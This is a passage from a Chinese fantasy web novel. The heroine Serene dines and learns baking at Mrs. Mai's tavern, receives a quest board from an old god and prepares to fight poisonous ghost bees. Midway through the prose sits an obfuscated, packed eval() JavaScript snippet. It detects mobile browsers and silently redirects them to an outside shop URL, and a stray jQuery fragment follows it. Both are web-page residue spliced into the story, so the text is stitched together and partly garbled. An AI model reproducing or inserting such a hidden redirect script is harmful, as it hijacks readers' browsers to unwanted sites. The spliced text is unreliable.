“盖因。”
列侬朝他抬起酒杯:“好久不见,我猜你也等不及要品尝蜂蜜酒了。”
盖因在塞伦涅对面落座,哈哈大笑:“还是黑小麦酒符合我的口味,失眠总是困扰着我,我得喝更烈的酒,然后好好睡上一觉。”
落到塞伦涅这边的目光染上一丝探究意味。
“这位是塞伦涅小姐,我如今的雇主。”列侬隐瞒他被打了一顿的事,有些骄傲地介绍。
“不用你说,我也知道她是谁,总是待在芙蕾雅身边的那位法师嘛。”
塞伦涅注意到盖因的眼神隐约有种轻蔑的意味,她没有作出反应,只小口啜饮蜂蜜酒,百无聊赖地听着二人的说话。
“说起来,很久没见到芙蕾雅了,她是位受人尊敬的战士,没想到那样的人竟会为老彼得做事。”
“老彼得早就滚蛋了,现在公会主人是塞伦涅小姐。”列侬轻哼,“你有多久没出门了?”
盖因似乎有些惊讶,转而愁容满面:“有些日子了,还不是因为我那可怜的弟弟。”
列侬也不笑了:“他近况如何?”
喝得烂醉的吟游诗人摆弄着鲁特琴,唱起嘶哑难听的歌谣。
盖因砸了一下台面,朝他嚷嚷:“喂,安静些!”然后凑到列侬耳边,“老样子……不,该说更糟糕了,暗蚀症,你知道的。昨夜他又出现幻觉了,试图用刀片割掉自己的舌头。为了不让他伤害自己,我只好用麻绳将他捆在床上。”
“你有请来牧师吗?”
“那群教会来的牧师,向我兜售了说是蕴含光明之神赐福的圣水,结果那并不能治愈他,甚至没有一点好转的迹象。牧师们给出的说法是他罪业深重,一份圣水难以抵消他的罪孽,可我哪还有那么多钱?”
“然后呢?”
“然后他们就走人了。”盖因啐了一口,“你从前告诉我麦太太罹患暗蚀症,我想你搞错了,整片大陆的人都知道,这种怪病不可治愈。再有两个月,他就解脱了,我也能轻松些。”
“错的是你,盖因,你的谬论起源于无知,暗蚀症并非不能治愈。”列侬喝得太多,嘴里喷着酒气呛他,“这多亏了塞伦涅小姐,她有药水的……小姐,您踢我干嘛?”
塞伦涅缩回桌下的脚,恨不得将那张守不住秘密的嘴巴缝上。
列侬终于反应过来,讪笑道:“你瞧,我的脑子里全是蜂蜜酒,都出现癔症了。盖因,你是对的,麦太太患了别的病,塞伦涅小姐只是用普通的治疗药水治好了她。”
盖因眼神暗了一瞬,然后笑着拍打他的肩膀:“你这小子,别再喝了。”
厨房的门开了,麦太太端着碟子从油烟中走出。
“孩子们,尝尝我做的甜点吧。”
“各位请慢慢享用,我该回去了,但愿我弟弟没有挣脱麻绳。”盖因放下几枚铜币,拎着黑小麦酒离开。
盘子里的甜品散发着奶香味。
列侬:“这是什么?”
“枫糖浆乳酪烤吐司。”
吐司是现烤的,在地窖冷藏过的乳酪放在热面包上慢慢融化,能让整片吐司浸入奶香味,再淋上枫糖浆增甜。麦太太将吐司切成三份,装盘递给塞伦涅。
“我得承认,这不是我的拿手菜,原本想为你们制作黄油烤苹果和油浸凤尾鱼。可惜在我离开的日子里,苹果和凤尾鱼都腐烂了。”她厌恶地皱起鼻子,“我想地窖里那股味道十年都不会散去。”
吐司和蜂蜜酒一样,都彰显了麦太太极好的手艺,或许比整个莱门海姆的面包坊……不,甚至比塞伦涅在现实世界吃过的所有面包都要美味,吐司烤得火候正好,松软极了,乳酪醇厚而不腻。盘子瞬间空了,她满足地揉了揉肚子。
回去后该怎么面对那些干巴巴的熏肉啊?
三人围坐桌边说了会话,随后列侬满身酒气地回家了。
现在到了塞伦涅的学徒时间。
-
“孩子,别放那么多木柴,这不是在熬煮炼金药水,你会将面包烤糊的!”
塞伦涅现在制作的就是那道枫糖浆乳酪烤吐司。
用火钳手忙脚乱夹出木柴,见面团没有焦糊的迹象,她松了口气。
麦太太轻拍她沾满面粉的围裙:“我总算知道你如此瘦小的原因了,这种烹饪技术根本没法做出像样的食物。我可不会容忍一位瘦子走出我的酒馆,放心,我会将厨艺尽数传授给你的。”
面包烘烤的间隙,塞伦涅向她打听酒馆二楼。
麦太太苦着脸:“我原本打算在楼上开设旅店的,让那些疲惫的旅人喝完酒后,能有睡觉的地方。橡木镇没有旅店,旅者只能借宿在镇民家,他们总是抱怨睡醒后身上丢了东西。”
塞伦涅注意到她的用词:“原本?”
“那不是个轻松的活,得筹备很多东西,床铺衣柜什么的,但橡木镇没有正儿八经的木匠。”
“光是酒馆就有得忙了,列侬偶尔会来搭把手,但只凭我们再想管理一家旅店,还是太难了。”麦太太叹气,“后来我就病倒了,二楼始终空在那里。”
热乎的面包出炉了。
塞伦涅将乳酪放在案板上:“您没有想过向别的镇子定制床铺吗?”
“列侬的马车太小,没法装载大件物品,别镇的木匠都不愿意将东西送到橡木镇。而那些少数拥有大型马车的,他们要价太离谱了。”
麦太太按住她的手腕:“乳酪别切太厚,不然等吐司吃光了它都不会融化。”她将厨刀向外挪了几公分,“这样正好。”
“很多人以为我很富有,但自从经营酒馆以来,我并没有挣到什么钱。”她将枫糖浆递给塞伦涅,“卖出的酒水和食物,它们比我购买的原料贵不了多少,甚至有时我会免费救济那些吃不起饭的人。”
同样一道甜点,塞伦涅的这份卖相却不怎么好。
麦太太赏脸品尝。
“如何?”塞伦涅搓手。
“孩子,尽管你是我的救命恩人,但我还是得说吐司尝着像树皮。”
塞伦涅:“……”
“枫糖浆也倒多了,盖过了乳酪原本的味道。”
塞伦涅试探性咬了一口,齁到反胃,而食谱图鉴打破了她最后一道心理防线。
「枫糖浆乳酪烤厚切吐司(低级)
哈,甜味树皮!
垃圾桶里的蟑螂:感谢造物者的馈赠。」
本着不让图鉴得逞的原则,塞伦涅强行咽下吐司。
麦太太承诺,在不浪费食物的前提之下,她能尽情使用酒馆的食材。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807528|208914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经过对方指点,塞伦涅又制作了五道料理,厨艺鲜有长进,至少没再将面包烤得像树皮了。
甚至还有一道中级料理。
「蘑菇派(中级)
以尸体作为养分的墓穴蘑菇,吃起来会有肉味吗?食用后可拥有十五分钟石肤术效果。」
食谱图鉴的阶段性奖励也发放了,见到那件物品的名字,塞伦涅本能有种不好的预感。
玫洛今晚不回家,她锁好公会大门后去到地下室。
指间捏着一撮矮陶罐里的土撵了撵,感受到泥土尚且湿润,没有再浇水,以免淹死蘑菇孢子。整理了一会木架,塞伦涅回房摊开图鉴。
挨着印刷机的地方出现一块类似公告栏的木板。
「委托板(一级)
旧神“收藏家”为图鉴主人塞伦涅量身定制的日常任务委托板,向莱门海姆大陆的繁荣献身吧!」
献身……好直白的用词,收藏家是什么黑心资本家啊,就这样赤裸裸地压榨她的劳动力,塞伦涅不禁有种上班打卡的错觉。
不要啊,她不要当赛博打工人!
片刻后她止住内心的呐喊意识到,这是不是意味着能借此获得更多奖励?
最低等级的委托板上只有一份日常委托。
「寻人告示
胡杨镇的牧场主最近遇见了大麻烦,他的挤奶工失踪了。请前往胡杨镇,寻找挤奶工的下落。
委托奖励:异化植物肥料x1」
羊皮纸上有张人物画像,典型的东欧人面孔,类似这样的长相,光是在橡木镇就能找到好几个。除了身份,地点,以及一张派不上用场的画像,此外什么都没有。
大晚上的,让她上哪找人?
倒计时显示三小时零五分,过了二十四点,任务就会刷新。尽管心疼那不知有何种作用的肥料,塞伦涅也只好放弃委托。
但愿明日的委托会简单些。
怀揣期待,次日塞伦涅醒得很早。顾不上洗漱,她连忙走向委托板。
「消灭位于狭间林地的鬼蜂。
委托奖励:30银币」
塞伦涅记得鬼蜂是种产蜜的蜂类魔物。
正愁没有蜂蜜,它就主动送上门来了。
狭间林地位于橡木镇西边的峡谷谷底,来回五小时车程,消灭鬼蜂后,还有时间在林地周边探索。
鬼蜂蛰针含有剧毒,出发前她得提前做好防护。
洗过澡后,塞伦涅裁下粗布衬衣的衣袖,从中间割开——没了袖子的衬衣照旧能用作睡衣。
摊开的布料绑在脸部。
身体被皮革旅行装和手套覆盖,倒不用担心。但兽骨头盔是有缝隙的,鬼蜂轻易就能钻入,衬衣布料挺厚实,多少可以抵挡蜇针。
另只衣袖被裁成四份,一份抹了野猪油脂,绑在削成棍状的木材上用作火把。无论什么蜂种,都是惧怕火种和烟熏的。
随后塞伦涅往空的治疗药瓶里灌入融化的猪油,瓶口塞上布条,这样就拥有了三只□□。
原本打算向玫洛购买解毒药水,到楼梯口时才想起对方外出了。
算了,只要不被蛰到就好。就算不慎中毒,治疗药水也能延缓掉血速度。
塞伦涅锁好大门。
出发!